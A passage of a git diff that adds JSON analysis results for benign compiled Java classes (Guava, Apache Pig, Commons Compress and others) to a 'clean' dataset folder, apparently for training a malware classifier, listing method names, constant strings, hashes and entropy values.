"(Lorg/odlabs/wiquery/ui/core/JsScopeUiEvent;)Lorg/odlabs/wiquery/ui/autocomplete/Autocomplete;", "(Lorg/odlabs/wiquery/ui/core/JsScopeUiEvent;)Lorg/odlabs/wiquery/ui/autocomplete/Autocomplete;", "(Lorg/odlabs/wiquery/ui/autocomplete/AutocompleteSource;)Lorg/odlabs/wiquery/ui/autocomplete/Autocomplete;", "Lorg/odlabs/wiquery/ui/autocomplete/Autocomplete;"], "constant strings": ["You can\\'t define the close event", "You can\\'t define the select event", "You can\\'t define the change event", "You can\\'t define the source", "$.ui.autocomplete.wiquery.changeEvent(event, ui,", ",\\'", "\\'", ");", "$(event.target).blur();"], "JAVA String Analysis": {"combined strings entropy": 4.359918484849177}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "56b4dce644b6d8008eedc98bebaad3709f82bae0", "file_name": "java_clean/03ec30f80caeab9c0fd37acb3246a0d10096ceb1504b53cb55d023c5bfaa2a47", "_id": "465eea61-63a0-4dc4-9846-5d7c9c4561ab", "score": 0, "entropy": 5.4298065760120915, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4952, "ssdeep": "96:kvlgtulut2/212rBhQBuXcy2Cg2kY+Xr1B4:kvlculutwsMQBusyZgnr1B4", "sha256": "03ec30f80caeab9c0fd37acb3246a0d10096ceb1504b53cb55d023c5bfaa2a47", "md5": "b1351551afe36323d3c0acd8e3f1b9b6", "parent_sha256": "03ec30f80caeab9c0fd37acb3246a0d10096ceb1504b53cb55d023c5bfaa2a47"}} \ No newline at end of file diff --git a/java_classification/data/clean/041ddf880889686dd2d31a1ba469a29d7ad2b1b0e2b6c14886d5aa3c19eac3ae.results b/java_classification/data/clean/041ddf880889686dd2d31a1ba469a29d7ad2b1b0e2b6c14886d5aa3c19eac3ae.results new file mode 100755 index 0000000..d5bd850 --- /dev/null +++ b/java_classification/data/clean/041ddf880889686dd2d31a1ba469a29d7ad2b1b0e2b6c14886d5aa3c19eac3ae.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/xml/sax/ContentHandler", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["setDocumentLocator", "startDocument", "endDocument", "startPrefixMapping", "endPrefixMapping", "startElement", "endElement", "characters", "ignorableWhitespace", "processingInstruction", "skippedEntity"], "minor_version": 0, "const_pool_count": 26}}, "_id": "9d43928b-f593-4c00-b9e3-72d2c082b601", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ceb9f5dd81f09389a38d45c8930195d8f57023b9", "file_name": "java_clean/041ddf880889686dd2d31a1ba469a29d7ad2b1b0e2b6c14886d5aa3c19eac3ae", "_id": "9d43928b-f593-4c00-b9e3-72d2c082b601", "score": 0, "entropy": 5.002658804163184, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 756, "ssdeep": "12:HwWz37T/YMaMeSMwJYRwMaMaMKG8YMaMaMA8+wuOkaHCXBLRtcWlb4TQt:HwevRYRx86pwu18CxzNJ4TQt", "sha256": "041ddf880889686dd2d31a1ba469a29d7ad2b1b0e2b6c14886d5aa3c19eac3ae", "md5": "7bf9e264e9605126e6ebd812a9aa1474", "parent_sha256": "041ddf880889686dd2d31a1ba469a29d7ad2b1b0e2b6c14886d5aa3c19eac3ae"}} \ No newline at end of file diff --git a/java_classification/data/clean/049b1f52fab3fb5efb36dd1d5b8639944912f454339706e0899b2ef128c4d6d6.results b/java_classification/data/clean/049b1f52fab3fb5efb36dd1d5b8639944912f454339706e0899b2ef128c4d6d6.results new file mode 100755 index 0000000..49ba4db --- /dev/null +++ b/java_classification/data/clean/049b1f52fab3fb5efb36dd1d5b8639944912f454339706e0899b2ef128c4d6d6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/httpclient/protocol/SSLProtocolSocketFactory", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/httpclient/protocol/SecureProtocolSocketFactory"], "sourcefile": "SSLProtocolSocketFactory.java", "method_names": ["getSocketFactory", "", "createSocket", "createSocket", "createSocket", "createSocket", "equals", "hashCode", "class$", ""], "minor_version": 3, "const_pool_count": 136}}, "_id": "4af886fe-0271-4ed7-bb6c-edc6fd911d33", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.313543655028593, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["Parameters may not be null", "javax.net.ssl.SSLSocketFactory", "org.apache.commons.httpclient.protocol.SSLProtocolSocketFactory"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "05e289d4399c551c05bdf827836ee2704e9857b0", "file_name": "java_clean/049b1f52fab3fb5efb36dd1d5b8639944912f454339706e0899b2ef128c4d6d6", "_id": "4af886fe-0271-4ed7-bb6c-edc6fd911d33", "score": 0, "entropy": 5.3658151998162, "libmagic": "compiled Java class data, version 45.3", "file_size": 3621, "ssdeep": "24:cVdsJ4rgkatmulz/W9p4bPdnn79BY9s0n/zFKquoKeuXpMcjdyuWRZGD45l3XjIu:wdx2lz+94nnRGqIYVqiIFYQyti19Hgg", "sha256": "049b1f52fab3fb5efb36dd1d5b8639944912f454339706e0899b2ef128c4d6d6", "md5": "9f80328eb900cf82901439f138f569dd", "parent_sha256": "049b1f52fab3fb5efb36dd1d5b8639944912f454339706e0899b2ef128c4d6d6"}} \ No newline at end of file diff --git a/java_classification/data/clean/055f466a3bef798e4fd0152fb75cd823645e55ed992e05ab00e7280dafab7cf9.results b/java_classification/data/clean/055f466a3bef798e4fd0152fb75cd823645e55ed992e05ab00e7280dafab7cf9.results new file mode 100755 index 0000000..0607d1f --- /dev/null +++ b/java_classification/data/clean/055f466a3bef798e4fd0152fb75cd823645e55ed992e05ab00e7280dafab7cf9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PigException.java", "class_name": "org/apache/pig/PigException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["isInput", "isBug", "isUserEnvironment", "isRemoteEnvironment", "determineErrorSource", "", "", "", "", "", "", "", "", "", "", "", "", "retriable", "setRetriable", "getErrorSource", "setErrorSource", "getErrorCode", "setErrorCode", "getDetailedMessage", "setDetailedMessage", "toString"], "minor_version": 0, "const_pool_count": 140}}, "_id": "3dda99cf-06db-47a5-a7d6-2305f7d0b898", "verbose": {"java": {"constant strings": [": ", "ERROR "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b687bb8957fea2d1eebc6f16ce84c931b445af94", "file_name": "java_clean/055f466a3bef798e4fd0152fb75cd823645e55ed992e05ab00e7280dafab7cf9", "_id": "3dda99cf-06db-47a5-a7d6-2305f7d0b898", "score": 0, "entropy": 4.936582015927832, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4390, "ssdeep": "96:+dDjlc6Lv5f117mALvrSLinA9z2cPgVBl5xThAXSfBU6+V:ODjlBvvrSLDz2cPgbL1hACfBU6+V", "sha256": "055f466a3bef798e4fd0152fb75cd823645e55ed992e05ab00e7280dafab7cf9", "md5": "d8d054d7508f67c16a7cd3c2fa79e7be", "parent_sha256": "055f466a3bef798e4fd0152fb75cd823645e55ed992e05ab00e7280dafab7cf9"}} \ No newline at end of file diff --git a/java_classification/data/clean/057bfe44c0fde00cd6e7ede46a382ebbeddad61da68739b5814f159e433e0968.results b/java_classification/data/clean/057bfe44c0fde00cd6e7ede46a382ebbeddad61da68739b5814f159e433e0968.results new file mode 100755 index 0000000..02cefa1 --- /dev/null +++ b/java_classification/data/clean/057bfe44c0fde00cd6e7ede46a382ebbeddad61da68739b5814f159e433e0968.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Enclosed.java", "class_name": "org/junit/runners/Enclosed", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": [""], "minor_version": 0, "const_pool_count": 32}}, "_id": "31a04bcd-3f79-4d6b-9ff2-37bf6397b833", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)V"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "da6b5b280c7b5c239eac54d1da08118d6cf8d16d", "file_name": "java_clean/057bfe44c0fde00cd6e7ede46a382ebbeddad61da68739b5814f159e433e0968", "_id": "31a04bcd-3f79-4d6b-9ff2-37bf6397b833", "score": 0, "entropy": 5.074876148304271, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 651, "ssdeep": "12:biNWulPsoVHI9dNuxk1H2+rlHcvIR41OPG+aLydlRkU:biNWulj1I9dNF1drVcvIRHcEj3", "sha256": "057bfe44c0fde00cd6e7ede46a382ebbeddad61da68739b5814f159e433e0968", "md5": "80fdef2c18c1a308b7446d996ec4e98c", "parent_sha256": "057bfe44c0fde00cd6e7ede46a382ebbeddad61da68739b5814f159e433e0968"}} \ No newline at end of file diff --git a/java_classification/data/clean/05f39bf20c9ee6ca6ab8f45ae5339bf302c6395de179432c080400a01dace1d8.results b/java_classification/data/clean/05f39bf20c9ee6ca6ab8f45ae5339bf302c6395de179432c080400a01dace1d8.results new file mode 100755 index 0000000..0503b5d --- /dev/null +++ b/java_classification/data/clean/05f39bf20c9ee6ca6ab8f45ae5339bf302c6395de179432c080400a01dace1d8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/jets3t/service/io/ProgressMonitoredInputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/jets3t/service/io/InputStreamWrapper"], "sourcefile": "ProgressMonitoredInputStream.java", "method_names": ["", "sendNotificationUpdate", "resetProgressMonitor", "read", "read", "read", "available", "close", "getWrappedInputStream"], "minor_version": 0, "const_pool_count": 75}}, "_id": "c8d0460e-c47b-4d66-90ae-c9c2ffe0b16f", "verbose": {"java": {"constant strings": ["ProgressMonitoredInputStream cannot run with a null InputStream"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d611576f50a978d2dd9845974fc6217bd4e160fb", "file_name": "java_clean/05f39bf20c9ee6ca6ab8f45ae5339bf302c6395de179432c080400a01dace1d8", "_id": "c8d0460e-c47b-4d66-90ae-c9c2ffe0b16f", "score": 0, "entropy": 5.100382650421135, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1983, "ssdeep": "48:NLdb5OZIe7ZIl+ispm3Dzu7lZhHPtKOlrsFuStH7HdDE:1l+isU/et+FuOH7i", "sha256": "05f39bf20c9ee6ca6ab8f45ae5339bf302c6395de179432c080400a01dace1d8", "md5": "51a449ed9fe66305c398b9b190ef5c1d", "parent_sha256": "05f39bf20c9ee6ca6ab8f45ae5339bf302c6395de179432c080400a01dace1d8"}} \ No newline at end of file diff --git a/java_classification/data/clean/0630d18b92424c39e825d0e885edcd5ebab013a9788358a5de70964848cf9549.results b/java_classification/data/clean/0630d18b92424c39e825d0e885edcd5ebab013a9788358a5de70964848cf9549.results new file mode 100755 index 0000000..bd55818 --- /dev/null +++ b/java_classification/data/clean/0630d18b92424c39e825d0e885edcd5ebab013a9788358a5de70964848cf9549.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CastUtils.java", "class_name": "org/apache/pig/impl/util/CastUtils", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "stringToDouble", "stringToFloat", "stringToInteger", "stringToLong", ""], "minor_version": 0, "const_pool_count": 160}}, "_id": "23838f97-c72d-4668-9dcb-c737210b8f63", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.321878318240446}, "constant strings": ["Unable to interpret value ", " in field being ", "converted to double, caught NumberFormatException <", "> field discarded", "converted to float, caught NumberFormatException <", "Value ", " too large for integer", "converted to int, caught NumberFormatException <", " too large for long", "converted to long, caught NumberFormatException <"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "32499ed320eaecc33a714ad20561a3645d437919", "file_name": "java_clean/0630d18b92424c39e825d0e885edcd5ebab013a9788358a5de70964848cf9549", "_id": "23838f97-c72d-4668-9dcb-c737210b8f63", "score": 0, "entropy": 5.626838724257749, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3360, "ssdeep": "48:c0utMKQyFlDadD4J3nn1izI+qD+z2mSPh3elzo8DHjJGou2Jl5gGxIn:utBxFlD/n1mSPh0zo8DHjJGou2Jl+G+n", "sha256": "0630d18b92424c39e825d0e885edcd5ebab013a9788358a5de70964848cf9549", "md5": "ff42a1318e8f7212dd728a5de55d0507", "parent_sha256": "0630d18b92424c39e825d0e885edcd5ebab013a9788358a5de70964848cf9549"}} \ No newline at end of file diff --git a/java_classification/data/clean/06c010432a6e72c0eac4f0c1227ba570d94319c5601bd7a995b5d1831ac44ca0.results b/java_classification/data/clean/06c010432a6e72c0eac4f0c1227ba570d94319c5601bd7a995b5d1831ac44ca0.results new file mode 100755 index 0000000..de7ad4b --- /dev/null +++ b/java_classification/data/clean/06c010432a6e72c0eac4f0c1227ba570d94319c5601bd7a995b5d1831ac44ca0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Joiner.java", "class_name": "com/google/common/base/Joiner$2", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "appendTo", "useForNull", "withKeyValueSeparator"], "minor_version": 0, "const_pool_count": 100}}, "_id": "82821312-9801-436c-8b09-2a60b040fcac", "verbose": {"java": {"signatures": ["(TA;Ljava/util/Iterator<*>;)TA;"], "constant strings": ["appendable", "parts", "already specified skipNulls", "can\\'t use .skipNulls() with maps"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8c911d8bdfaae9b50e2c2738f4557b2d67d92f9b", "file_name": "java_clean/06c010432a6e72c0eac4f0c1227ba570d94319c5601bd7a995b5d1831ac44ca0", "_id": "82821312-9801-436c-8b09-2a60b040fcac", "score": 0, "entropy": 5.455750501856879, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2425, "ssdeep": "48:lF5fFqlhoqXgjUzQxGBAIhC8no2FlB6ftdLns:VYlo4XFlB6fTns", "sha256": "06c010432a6e72c0eac4f0c1227ba570d94319c5601bd7a995b5d1831ac44ca0", "md5": "d05119b7f454f17fdd24b1fc99bec025", "parent_sha256": "06c010432a6e72c0eac4f0c1227ba570d94319c5601bd7a995b5d1831ac44ca0"}} \ No newline at end of file diff --git a/java_classification/data/clean/06df643cb4558897594ace312dab58720cb04b24eece77ae8f3200b4f234eed1.results b/java_classification/data/clean/06df643cb4558897594ace312dab58720cb04b24eece77ae8f3200b4f234eed1.results new file mode 100755 index 0000000..6e86811 --- /dev/null +++ b/java_classification/data/clean/06df643cb4558897594ace312dab58720cb04b24eece77ae8f3200b4f234eed1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CharStreams.java", "class_name": "com/google/common/io/CharStreams", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "newReaderSupplier", "newReaderSupplier", "newWriterSupplier", "write", "copy", "copy", "copy", "toString", "toString", "toStringBuilder", "toStringBuilder", "readFirstLine", "readLines", "readLines", "readLines", "join", "join", "skipFully", "asWriter"], "minor_version": 0, "const_pool_count": 258}}, "_id": "5aadc058-39db-444a-82e6-69e32c716fa5", "verbose": {"java": {"signatures": ["(Ljava/lang/String;)Lcom/google/common/io/InputSupplier;", "(Lcom/google/common/io/InputSupplier<+Ljava/io/InputStream;>;Ljava/nio/charset/Charset;)Lcom/google/common/io/InputSupplier;", "(Lcom/google/common/io/OutputSupplier<+Ljava/io/OutputStream;>;Ljava/nio/charset/Charset;)Lcom/google/common/io/OutputSupplier;", "(Ljava/lang/CharSequence;Lcom/google/common/io/OutputSupplier;)V", "(Lcom/google/common/io/InputSupplier;Lcom/google/common/io/OutputSupplier;)J", "(Lcom/google/common/io/InputSupplier;Ljava/lang/Appendable;)J", "(Lcom/google/common/io/InputSupplier;)Ljava/lang/String;", "(Lcom/google/common/io/InputSupplier;)Ljava/lang/StringBuilder;", "(Lcom/google/common/io/InputSupplier;)Ljava/lang/String;", "(Lcom/google/common/io/InputSupplier;)Ljava/util/List;", "(Ljava/lang/Readable;)Ljava/util/List;", "(Lcom/google/common/io/InputSupplier;Lcom/google/common/io/LineProcessor;)TT;", "(Ljava/lang/Iterable<+Lcom/google/common/io/InputSupplier<+Ljava/io/Reader;>;>;)Lcom/google/common/io/InputSupplier;", "([Lcom/google/common/io/InputSupplier<+Ljava/io/Reader;>;)Lcom/google/common/io/InputSupplier;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4b9b9f9865e01f89d05bd182eb31200bfb5b440b", "file_name": "java_clean/06df643cb4558897594ace312dab58720cb04b24eece77ae8f3200b4f234eed1", "_id": "5aadc058-39db-444a-82e6-69e32c716fa5", "score": 0, "entropy": 5.504841253751488, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 9521, "ssdeep": "192:XI+lV0CUYz5MM78ewYHBiVlSZ6fUHzRbRl57:v70CUYz5MM78ew2QPs6fUH1bzl", "sha256": "06df643cb4558897594ace312dab58720cb04b24eece77ae8f3200b4f234eed1", "md5": "b78262b061b10b44158e04360ef83c3b", "parent_sha256": "06df643cb4558897594ace312dab58720cb04b24eece77ae8f3200b4f234eed1"}} \ No newline at end of file diff --git a/java_classification/data/clean/08fa29ce6b672fa87423bd7753a74b2ab6ffc3d4bcf481b5a7592c8e485a4aba.results b/java_classification/data/clean/08fa29ce6b672fa87423bd7753a74b2ab6ffc3d4bcf481b5a7592c8e485a4aba.results new file mode 100755 index 0000000..83c89af --- /dev/null +++ b/java_classification/data/clean/08fa29ce6b672fa87423bd7753a74b2ab6ffc3d4bcf481b5a7592c8e485a4aba.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/apache/commons/compress/archivers/cpio/CpioArchiveOutputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/commons/compress/archivers/cpio/CpioConstants"], "sourcefile": "CpioArchiveOutputStream.java", "method_names": ["", "", "ensureOpen", "putArchiveEntry", "writeHeader", "writeNewEntry", "writeOldAsciiEntry", "writeOldBinaryEntry", "closeArchiveEntry", "write", "finish", "close", "pad", "writeBinaryLong", "writeAsciiLong", "writeCString", "createArchiveEntry"], "minor_version": 0, "const_pool_count": 334}}, "_id": "d7c06e18-ef03-4f05-8dc3-93dd17c73c31", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.68737681770354}, "constant strings": ["Unknown format: ", "Stream closed", "Stream has already been finished", "Header format: ", " does not match existing format: ", "duplicate entry: ", "070701", "070702", "070707", "Trying to close non-existent entry", "invalid entry size (expected ", " but got ", " bytes)", "CRC Error", "no current CPIO entry", "attempt to write past end of STORED entry", "This archive has already been finished", "This archive contains unclosed entries.", "TRAILER!!!", "0"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1734e5c0473d43ef817910ad0b4b13892d5586ff", "file_name": "java_clean/08fa29ce6b672fa87423bd7753a74b2ab6ffc3d4bcf481b5a7592c8e485a4aba", "_id": "d7c06e18-ef03-4f05-8dc3-93dd17c73c31", "score": 0, "entropy": 5.775349593773786, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7623, "ssdeep": "96:C3WeM8QTYgPJrlsPUSA6fLwn7V1EknbYKbtScWcNjAtBzWM7ncEUiW:CBMxTYgxrl8UCfcnB3bYqSAjAtBDnuR", "sha256": "08fa29ce6b672fa87423bd7753a74b2ab6ffc3d4bcf481b5a7592c8e485a4aba", "md5": "7d2ad97b0747d6bddfe00a064df08671", "parent_sha256": "08fa29ce6b672fa87423bd7753a74b2ab6ffc3d4bcf481b5a7592c8e485a4aba"}} \ No newline at end of file diff --git a/java_classification/data/clean/09d35baf1d1062cedb5d48e8c9bfc67ddb92a3527dc3805ab185270f0e47616d.results b/java_classification/data/clean/09d35baf1d1062cedb5d48e8c9bfc67ddb92a3527dc3805ab185270f0e47616d.results new file mode 100755 index 0000000..a0fa378 --- /dev/null +++ b/java_classification/data/clean/09d35baf1d1062cedb5d48e8c9bfc67ddb92a3527dc3805ab185270f0e47616d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TalkPerson.java", "class_name": "hu/openig/model/TalkPerson", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": [""], "minor_version": 0, "const_pool_count": 27}}, "_id": "da463a32-f1f8-4a65-b908-4022c0f99ddd", "verbose": {"java": {"signatures": ["Ljava/util/Map;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c7c1c2b61f1663872f2bba8cf9f1955c11a3d83c", "file_name": "java_clean/09d35baf1d1062cedb5d48e8c9bfc67ddb92a3527dc3805ab185270f0e47616d", "_id": "da463a32-f1f8-4a65-b908-4022c0f99ddd", "score": 0, "entropy": 5.1079825359627495, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 498, "ssdeep": "12:JMkRJ/MOuXI0Ia7MZuxXSD+op0lPsonMayXl6YLWM+X2S:+kb2P1XyPaljMayzWM+9", "sha256": "09d35baf1d1062cedb5d48e8c9bfc67ddb92a3527dc3805ab185270f0e47616d", "md5": "f42982062185d5ef9621de0806688bc4", "parent_sha256": "09d35baf1d1062cedb5d48e8c9bfc67ddb92a3527dc3805ab185270f0e47616d"}} \ No newline at end of file diff --git a/java_classification/data/clean/09ebf6adf8e2faf3f3e0811c9fb22659261f1846d6af1d1170f8e6051df46d21.results b/java_classification/data/clean/09ebf6adf8e2faf3f3e0811c9fb22659261f1846d6af1d1170f8e6051df46d21.results new file mode 100755 index 0000000..06c80c4 --- /dev/null +++ b/java_classification/data/clean/09ebf6adf8e2faf3f3e0811c9fb22659261f1846d6af1d1170f8e6051df46d21.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CharMatcher.java", "class_name": "com/google/common/base/CharMatcher$9", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "matches", "and", "or", "negate", "apply"], "minor_version": 0, "const_pool_count": 56}}, "_id": "cc39b6b1-3055-42f4-9024-c7e9888595ae", "metadata": {"mimetype": "application/x-java-applet", "sha1": "60fc4599b1c098fdf549f2117047c702027ec4b9", "file_name": "java_clean/09ebf6adf8e2faf3f3e0811c9fb22659261f1846d6af1d1170f8e6051df46d21", "_id": "cc39b6b1-3055-42f4-9024-c7e9888595ae", "score": 0, "entropy": 4.983674166305999, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1257, "ssdeep": "12:2gVVGQyNEulPsoxhW4A15KICXlStcyiUG2ZlCIZVx3nLri/RuxGlToQDuzEoWgok:2u9yNEuljJTI+ByCIpXLri/lOZz9Wgpj", "sha256": "09ebf6adf8e2faf3f3e0811c9fb22659261f1846d6af1d1170f8e6051df46d21", "md5": "6d5aba2e7e77ff97a5eee82aea5e96cc", "parent_sha256": "09ebf6adf8e2faf3f3e0811c9fb22659261f1846d6af1d1170f8e6051df46d21"}} \ No newline at end of file diff --git a/java_classification/data/clean/0a796bcb8f18cea928047f777fa2c820eed85c0bf7787ca7f113e8a853e80aa8.results b/java_classification/data/clean/0a796bcb8f18cea928047f777fa2c820eed85c0bf7787ca7f113e8a853e80aa8.results new file mode 100755 index 0000000..fd207ca --- /dev/null +++ b/java_classification/data/clean/0a796bcb8f18cea928047f777fa2c820eed85c0bf7787ca7f113e8a853e80aa8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SSHSocketImplFactory.java", "class_name": "org/apache/pig/shock/ChannelOutputStream", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "write", "write"], "minor_version": 0, "const_pool_count": 47}}, "_id": "00d00b24-98e9-4d4b-a73c-aa826317ef70", "metadata": {"mimetype": "application/x-java-applet", "sha1": "693fd565afc5ac5e0a2b6e310a61158d64902f2b", "file_name": "java_clean/0a796bcb8f18cea928047f777fa2c820eed85c0bf7787ca7f113e8a853e80aa8", "_id": "00d00b24-98e9-4d4b-a73c-aa826317ef70", "score": 0, "entropy": 5.177052951749724, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 935, "ssdeep": "24:H83KNSNxbuljdM088h1brgM09cCu+efjs6pNagHmBIdGlXZN:c6N+4lBbDcbuOQhHz0N", "sha256": "0a796bcb8f18cea928047f777fa2c820eed85c0bf7787ca7f113e8a853e80aa8", "md5": "ad33c61e8449ea7002b4f61178c75f12", "parent_sha256": "0a796bcb8f18cea928047f777fa2c820eed85c0bf7787ca7f113e8a853e80aa8"}} \ No newline at end of file diff --git a/java_classification/data/clean/0b3017e325dbd472b5445b4584c548dc29f18e39f5a112972bc9d3450efebc24.results b/java_classification/data/clean/0b3017e325dbd472b5445b4584c548dc29f18e39f5a112972bc9d3450efebc24.results new file mode 100755 index 0000000..d5ca0a0 --- /dev/null +++ b/java_classification/data/clean/0b3017e325dbd472b5445b4584c548dc29f18e39f5a112972bc9d3450efebc24.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SortedLists.java", "class_name": "com/google/common/collect/SortedLists$KeyAbsentBehavior$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["", "resultIndex"], "minor_version": 0, "const_pool_count": 31}}, "_id": "e58acb31-f3ca-4bde-992d-d868ea4132f4", "verbose": {"java": {"signatures": ["(I)I"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0d965b8cd1503662e68d00b03284d26aa64107d4", "file_name": "java_clean/0b3017e325dbd472b5445b4584c548dc29f18e39f5a112972bc9d3450efebc24", "_id": "e58acb31-f3ca-4bde-992d-d868ea4132f4", "score": 0, "entropy": 5.150645047542799, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 821, "ssdeep": "12:XnMAJulPsoxh5vD+RReevyiUCKHEK+2FMFELyfLl/sUxkFwslDuxkeF5ut8ta:Xnulj2ceNk+LbkuID0TFwt8w", "sha256": "0b3017e325dbd472b5445b4584c548dc29f18e39f5a112972bc9d3450efebc24", "md5": "be0267d78cf9dc2d345c3f5431f07e92", "parent_sha256": "0b3017e325dbd472b5445b4584c548dc29f18e39f5a112972bc9d3450efebc24"}} \ No newline at end of file diff --git a/java_classification/data/clean/0ced8e90cbdd65e31a81fce1e5ac2db1748573dd4cb732c2d609642e42e81023.results b/java_classification/data/clean/0ced8e90cbdd65e31a81fce1e5ac2db1748573dd4cb732c2d609642e42e81023.results new file mode 100755 index 0000000..334e313 --- /dev/null +++ b/java_classification/data/clean/0ced8e90cbdd65e31a81fce1e5ac2db1748573dd4cb732c2d609642e42e81023.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Floor0.java", "class_name": "com/jcraft/jorbis/Floor0$LookFloor0", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": [""], "minor_version": 0, "const_pool_count": 38}}, "_id": "4ffa90d2-c519-4570-946a-3550945fb1ac", "metadata": {"mimetype": "application/x-java-applet", "sha1": "17c60f4aafb581f176d73390f18bc23f10778278", "file_name": "java_clean/0ced8e90cbdd65e31a81fce1e5ac2db1748573dd4cb732c2d609642e42e81023", "_id": "4ffa90d2-c519-4570-946a-3550945fb1ac", "score": 0, "entropy": 5.015766065192159, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 661, "ssdeep": "12:2m8QRolWFrRBD78hSD21mDoTlPsocBn5YC8GtZyz9IqeQigRf2RwFI:58Q6YhRqhy21ljcF5HPB", "sha256": "0ced8e90cbdd65e31a81fce1e5ac2db1748573dd4cb732c2d609642e42e81023", "md5": "ea224d3dc03443f60ad6f1759740bba6", "parent_sha256": "0ced8e90cbdd65e31a81fce1e5ac2db1748573dd4cb732c2d609642e42e81023"}} \ No newline at end of file diff --git a/java_classification/data/clean/0d47c519365f6bb1a17555da2038076c2c9c616e4e454974a3a0841428db7c1c.results b/java_classification/data/clean/0d47c519365f6bb1a17555da2038076c2c9c616e4e454974a3a0841428db7c1c.results new file mode 100755 index 0000000..b67a2bb --- /dev/null +++ b/java_classification/data/clean/0d47c519365f6bb1a17555da2038076c2c9c616e4e454974a3a0841428db7c1c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LineBuffer.java", "class_name": "com/google/common/io/LineBuffer", "access_permissions": ["ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "add", "finishLine", "finish", "handleLine"], "minor_version": 0, "const_pool_count": 70}}, "_id": "d51f48cf-ae52-4c6f-b6dd-510d367e335a", "verbose": {"java": {"constant strings": ["\\r\\n", "\\r", "\\n", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8280ffdccbac1657a9d8e11ad66dd4fe6f950425", "file_name": "java_clean/0d47c519365f6bb1a17555da2038076c2c9c616e4e454974a3a0841428db7c1c", "_id": "d51f48cf-ae52-4c6f-b6dd-510d367e335a", "score": 0, "entropy": 5.332481967039992, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1470, "ssdeep": "24:aF22D3yQulj/+K9EDAwevG2SyHE128dvvi1STbJpcOo0FrMAxMShxMyzCwrtlf:aF22ryFlyXDAwevGagnvviItFVJP6ctF", "sha256": "0d47c519365f6bb1a17555da2038076c2c9c616e4e454974a3a0841428db7c1c", "md5": "3cd52c7def7addbb6b5d48738bcbe918", "parent_sha256": "0d47c519365f6bb1a17555da2038076c2c9c616e4e454974a3a0841428db7c1c"}} \ No newline at end of file diff --git a/java_classification/data/clean/0da41aeeeaeba2903ebefa3d6d064d1152f8fb506cc38d782e5a7b4115fbc759.results 